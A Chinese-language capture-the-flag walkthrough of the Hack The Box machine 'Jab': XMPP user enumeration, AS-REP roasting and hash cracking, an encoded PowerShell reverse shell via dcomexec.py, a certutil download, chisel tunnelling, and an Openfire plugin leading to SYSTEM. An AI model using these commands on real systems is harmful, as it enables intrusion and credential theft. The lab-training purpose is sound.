Windows/Jab

Jab

Enumeration

nmap

先使用 nmap 扫描默认的端口,直接使用最简单的命令,可以看到开放了很多端口

┌──(kali㉿kali)-[~]
└─$ nmap 10.10.11.4                       
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-20 04:05 EDT
Nmap scan report for 10.10.11.4
Host is up (0.46s latency).
Not shown: 984 closed tcp ports (conn-refused)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5222/tcp open  xmpp-client
5269/tcp open  xmpp-server
7070/tcp open  realserver
7443/tcp open  oracleas-https
7777/tcp open  cbt

Nmap done: 1 IP address (1 host up) scanned in 40.30 seconds

端口太多了!端口的详细信息结果如下 

# Nmap 7.93 scan initiated Wed Mar 20 04:21:03 2024 as: nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5222,5269,7070,7443,7777 -oA nmap 10.10.11.4
Host: 10.10.11.4 ()    Status: Up
Host: 10.10.11.4 ()    Ports: 53/open/tcp//domain//Simple DNS Plus/, 88/open/tcp//kerberos-sec//Microsoft Windows Kerberos (server time: 2024-03-20 08:21:11Z)/, 135/open/tcp//msrpc//Microsoft Windows RPC/, 139/open/tcp//netbios-ssn//Microsoft Windows netbios-ssn/, 389/open/tcp//ldap//Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)/, 445/open/tcp//microsoft-ds?///, 464/open/tcp//kpasswd5?///, 593/open/tcp//ncacn_http//Microsoft Windows RPC over HTTP 1.0/, 636/open/tcp//ssl|ldap//Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)/, 3268/open/tcp//ldap//Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)/, 3269/open/tcp//ssl|ldap//Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)/, 5222/open/tcp//jabber///, 5269/open/tcp//xmpp//Wildfire XMPP Client/, 7070/open/tcp//realserver?///, 7443/open/tcp//ssl|oracleas-https?///, 7777/open/tcp//socks5//(No authentication; connection not allowed by ruleset)/
# Nmap done at Wed Mar 20 04:23:04 2024 -- 1 IP address (1 host up) scanned in 121.74 seconds

TCP/139,445

详情参考 hacktricks 关于 pentest smb 部分的内容,在这里直接使用 enum4linux 来识别有可能出现的漏洞,但是很遗憾,除了 target information,并没有找到什么有价值的信息

┌──(kali㉿kali)-[~/vegetable/HTB/Jab]
└─$ enum4linux 10.10.11.4
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Mar 20 04:32:41 2024

 =========================================( Target Information )=========================================
                                                                                                                                                           
Target ........... 10.10.11.4                                                                                                                              
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

389,636,3268,3269端口都与 ldap 有关,在 nmap 给出的结果中发现了一个域名 jab.htb,本来想看看 ldap 能搞点什么,但是发现 nmap 结果中的下一个端口,5222/open/tcp//jabber///,jabber?这台靶机的名字是 Jab,emmmmmm,就很对味儿

Exploitation

TCP/5222 jabber

把这 6 个字母交给人工智能小助手,然后我得到了下面的回答

Jabber是一个著名的开源即时通讯服务服务器,也是一个自由开源软件,它允许用户自己架设即时通讯服务器,可以在Internet上应用,也可以在局域网中应用。它使用一组基于XML的协议来实现即时通讯功能,让即时通讯也能实现互联互通。

Jabber的优势在于其通信协议,可以和多种即时通讯对接。同时,Jabber具有分布式特性,任何人都可以运行自己的Jabber服务器,使个人及组织能够掌控他们的即时传讯体验。此外,Jabber也提供了良好的安全性,通过使用SASL及TLS等技术,确保了通信的可靠性。在功能扩展方面,由于XML命名空间的威力,任何人都可以在核心协定的基础上建造客制化的功能。

在实际应用中,Jabber除了用于即时通讯外,还可以用于网络管理、内容供稿、协同工具、档案共享、游戏、远端系统监控等多个方面。

对于Jabber的使用,用户可以选择不同的服务器和客户端。服务器有免费和付费的选项,客户端也分为免费和付费两种。同时,Jabber还提供了丰富的组件,用户可以根据需要选择使用。

搜索 jabber linux 客户端时,发现了 Pidgin,发现 kali 可以直接安装,回答 y 并回车,等待片刻就好了

下载完成后在命令行输入 pidgin 启动程序,还拥有图形化界面

1、单击 Add

2、更换协议为 xmpp(在刚才搜索 jabber 时发现在一些文章中也把 jabber 称作 xmpp,并且 nmap 的结果中 5269 端口就是 xmpp 协议)

3、输入用户名

4、输入域名(nmap 扫描结果中出现了 jab.htb)

5、输入密码

6、勾选下方 “为服务器创建此新用户” 复选框,最后添加即可

1、选择刚才创建的用户

2、点击修改

1、在 advanced 选项卡中输入目标 ip 地址

1、回到 Basic 选项卡,勾选 “为服务器创建此新用户” 复选框,然后保存

过一会,会收到一个认证提示,点击同意,然后输入刚才的用户名密码即可,显示注册成功

会看到一个好友列表,点击左上角菜单栏中的 “Buddies”,选择 "join a chat",然后单击 “Room Lsit”,选择 “Find Rooms”,可以看到有两个房间 “test” 和 “test2”。选择其中一个房间,选择 test,然后点击下方的 join,却返回了 407 代码

选择 test2 房间,如下所示,可以看到 room 中只有一个人,发了一句 hello,然后石沉大海,死一般的寂静!

回到最开始的好友列表,在 Accounts → vegetable@jab.htb/(xmpp) 中,有一个 Search for Users... 功能,可以找点好朋友

单击 Search for Users...,弹出新的面板,选择 Search Directory ,在 Search 一栏中填入 *,尽可能多的搜索内容

点击 OK 后,发现搜索到了大量用户名,邮箱等内容

在 Help 菜单中有一个 Debug Window,选择会打开一个 debug 窗口,然后再次执行搜索用户的操作,刚才的所有内容都会被记录在这个窗口中,如下图所示

将上面输出的内容保存到 name.txt 中,然后利用下面的指令取出 username 并输出到 user.txt

grep -oP '<field var="Username"><value>\K[^<]+' name.txt > user.txt 

grep: 文本搜索工具。
-o: 仅输出匹配的部分。
-P: 使用Perl风格的正则表达式。
<field var="Username"><value>\K: 匹配到<field var="Username"><value>,但不输出这部分内容(\K重置匹配的开始位置)。
[^<]+: 匹配一个或多个不是<的字符,这通常用于匹配标签内的值,直到遇到<为止。

执行后结果如下

TCP/88 Microsoft Windows Kerberos

GetNPUsers.py 是 Impacket 工具包中的一个脚本,该脚本将尝试为那些 “不需要Kerberos预身份验证” 的用户获取 TGT 输出。TGT hash 包含用户密码,获取到之后直接用 John 或 hashcat 破解

python3 GetNPUsers.py jab.htb/ -usersfile user.txt -format hashcat -outputfile hash.txt

运行情况如下图所示

最终结果如下

┌──(kali㉿kali)-[~/vegetable/HTB/Jab]
└─$ cat hash.txt             
$krb5asrep$23$jmontgomery@JAB.HTB:71ecaca815b77f7dce3eec8178070a7e$5c06717793dbca25a6a088ccf2291cf0a3ce40c1d48388b7998dfc0137bc6caf3500c546b8788b662a8261929689f3d4183c3009c300a5fb694d1d2f491644bb7404bba80546e4d694f3c5c84121b9967ed3f0cc684a6b4a58fb862f19a1d517313602a7bda4da1ce6f35baba9e2c072d644eaa501f25ed36fd433c136d8ae2591349ffe248a3dda585be272099b99104480baa683602820e35cf0e6289672b21da52cde090cc6283ba530a120ba8ee741091503a47607ea7b8af8315baf126aa52de97885363bf6da632d4f9fe696be126242affce5285619b8143f5c249805d3bf
$krb5asrep$23$lbradford@JAB.HTB:eb1a2b69f8d791e18e7af0dd37451947$90725ce6d10e371893c6e54f7d35b5b005307bda6bea51c00e9e0a18bfd1152f522b7303cefc50d85d8fe14864b3297c75d7f212426eb0c1c27d93620271c7b5a4da8305e14ff7751049607a7c53ce22d23009a59fb076a5ae12ebc24d743a069a6fb7126f18fa979b4020675f8a83124c9d5e6bf44617a14d5c49a6e5a96b9b8f069e9205727c2fb27cdc491be8b40cb6f08d0dceafb561949de7bc33b4e95ffdf1645c689d18ae6daa02c781f4a9cb80fa06ac0836c2135a12caef895fc489742911bfa9a7e04e60332f09548af57ac54cf9d9ffc2f732c9fcb826f59e08fb10e5
$krb5asrep$23$mlowe@JAB.HTB:4318386ea1620fb1b449f693f79a0228$78615840e38f859e51398bae3e3d0cfe426d459fc5986e495e83bf628f017103be07d82d882f3bde61ccee80e517fd8227477b6eadd85785966dd3074f43d2f0f03cd14858cd6e4e1b7dd362343beda5f32d49e7e75e65e4a21b136d7cbcdef5288337e7ff48c2890291b9b62bcf42172c5ee43a8f5b547fb1e7ebe294a835c482c8b2de0cb75e9fa933fa3f9e6a457eae2097c49c3d46351e973c484246344c03a7932161cca95616f6e358f8fa42b91269708de5dd11023523f1122bbbe566442b4beccb21049b2e33cd0de3db96cdb3c501fcea456f3f08f9e842ce3056ef6266

使用 john 来破解 hash 值,只得到了 jmontgomery/Midnight_121 一个结果

┌──(kali㉿kali)-[~/vegetable/HTB/Jab]
└─$ john hash.txt -w=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Midnight_121     ($krb5asrep$23$jmontgomery@JAB.HTB)     
1g 0:00:00:44 DONE (2024-03-21 01:46) 0.02260g/s 324299p/s 893335c/s 893335C/s  0841079575..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

现在可以重新启动 pidgin,选择修改账户,改成找到的新用户,同样的 “加入聊天”,查看房间列表,此时发现了一个新的房间,选择该房间并加入

在聊天记录中,发现有人讨论找到了 svc_openfire 账户的 hash,并且已经将其破解成功,在 : 之后的即是密码明文

TCP/135,593 Microsoft Windows RPC

nmap 的结果中还有这两个端口,运行着 msrpc 服务,可以参考 hacktricks 文章

Microsoft 远程过程调用 (MSRPC) 协议是一种客户端-服务器模型,使程序能够在不了解网络细节的情况下从位于另一台计算机上的程序请求服务,最初源自开源软件,后来由 Microsoft 开发并拥有版权。

RPC 终结点映射器可以通过 TCP 和 UDP 端口 135、TCP 139 和 445 上的 SMB(具有 null 或经过身份验证的会话)以及作为 TCP 端口 593 上的 Web 服务进行访问。

同样可以利用 Impacket 工具 dcomexec.py 来远程连接

首先在 revshells 网站中选择一个反向 shell 连接脚本

在 kali 中使用 nc 监听 4444 端口,然后执行 .py 文件

┌──(kali㉿kali)-[~/vegetable/HTB/Jab]
└─$ python3 dcomexec.py -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'cmd.exe /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOAAyACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==' -silentcommand


在监听端会收到一个交互式 shell

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.82] from (UNKNOWN) [10.10.11.4] 62171

PS C:\windows\system32> whoami
jab\svc_openfire

Privilege Escalation

使用 ps 来查看系统正在运行的进程,注意到有一个叫 openfile-service 的进程,而当前用户为 svc_openfire,不出所料的话他们一定有关系!

搜索该进程发现一个身份认证绕过的漏洞,漏洞编号为 CVE-2023-32315

也搜索了以下这个漏洞,大概就是 n 多年前,Openfire 管理后台中曾被发现一处路径穿越漏洞,CVE-2008-6508。攻击者可以利用 /setup/setup-/../../[page].jsp 来绕过权限校验并访问任意后台页面。然后 Openfire 增加了对于路径穿越问题的防护策略。但是因为后来内置的 Web 服务器的升级,引入了对 UTF-16 字符支持的非标准 URL,而前面的防护策略并没有考虑到这一点。导致在 Openfire 版本 4.7.4 和 4.6.7 及以前,Openfire 的 Web 管理后台存在一处目录穿越漏洞,这将允许攻击者绕过权限校验访问所有受限页面。绕过权限校验后在上传一个插件,即可执行系统命令。

在看漏洞复现过程时,注意到访问了靶场环境的 9090 端口,并且 jabber 主机也启动了这个端口

PS C:\windows\system32> netstat -ano | findstr 9090
  TCP    127.0.0.1:9090         0.0.0.0:0              LISTENING       612

因为服务监听在本地,需要使用工具将端口转发到 kali 中,首先下载 chisel 的 windows 版本,然后在 kali 中开启一个 Web 服务,利用 certutil.exe 将该文件下载到 jabber 主机中,为了不和其他人上传的文件产生冲突,我将 .exe 文件上传到了一个空目录 document 下

PS C:\windows\system32> cd ../../
PS C:\> cd users/svc_openfire/Documents
PS C:\users\svc_openfire\Documents> dir
PS C:\users\svc_openfire\Documents> certutil.exe -urlcache -f http://10.10.14.82:8000/chisel_1.9.1_windows_amd64 chisel.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.
PS C:\users\svc_openfire\Documents> dir


    Directory: C:\users\svc_openfire\Documents


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        3/21/2024   3:12 AM        9006080 chisel.exe

另外还需要下载一个 chisel 的 linux 版本,放在在 kali 中,执行下面的操作

./chisel_1.9.1_linux_amd64 server -p 8888 --reverse

回到 jabber 主机,执行以下命令转发端口

./chisel.exe client 10.10.14.82:8888 R:9090:127.0.0.1:9090 R:9091:127.0.0.1:9091

执行后在 kali 监听端,收到了以下响应

┌──(kali㉿kali)-[~/vegetable/tools]
└─$ ./chisel_1.9.1_linux_amd64 server -p 8888 --reverse
2024/03/21 03:19:12 server: Reverse tunnelling enabled
2024/03/21 03:19:12 server: Fingerprint iYr8i3oLUPp3fx1WwrAxtlzWjSUMFrK1nwy44fE/kNQ=
2024/03/21 03:19:12 server: Listening on http://0.0.0.0:8888
2024/03/21 03:20:30 server: session#1: tun: proxy#R:9090=>9090: Listening
2024/03/21 03:20:30 server: session#1: tun: proxy#R:9091=>9091: Listening

此时可以访问 http://127.0.0.1:9090,会跳转到一个登录框,页面如下,最底部有一个版本信息,可以看到该版本正好处于漏洞范围之内,因为之前获得了一组凭证,考虑密码复用,先尝试登陆了一下,结果成功了

那这样的话,就不需要绕过身份验证了,可以直接执行后面的操作,即上传一个 jar 插件

在 Pligins 处,单击 Browse 选择要上传的 .jar 文件,然后点击 Upload Plugin 上传

上传成功后,插件列表中会出现一个 Management Tool 的插件,在描述信息中写着密码是 123

选择 Server → Server Settings → Management Tool

出现下面的表单,输入密码 123,可以登录

登陆成功后,点击右上角的下拉菜单有很多选项,选择 system command 可以执行系统命令

可以在 kali 中开启监听,然后在这里输入反向 shell 连接脚本,点击 Execute 执行后即可成功获得反弹 shell,可以看到此时已经拥有了系统 system 权限(ps:1、系统隔一段时间就会将我们上传的 .jar 插件删除,所以遇到长时间加载不成功的情况,看看是不是上传的插件被清理了 2、不仅可以利用指令获取一个反向 shell,也可以直接在下拉菜单中选择系统文件并进行查看)

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4443
listening on [any] 4443 ...
connect to [10.10.14.82] from (UNKNOWN) [10.10.11.4] 63135

PS C:\Program Files\Openfire\bin> whoami
nt authority\system

在下面的目录中找到两个 flag,使用 type 命令查看内容即可

over!

参考链接:

JAB HTB 文章 |黑客盒子 (techyrick.com)

CVE-2023-32315到RCE漏洞复现分析-SecIN (sec-in.com)

  • 20
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值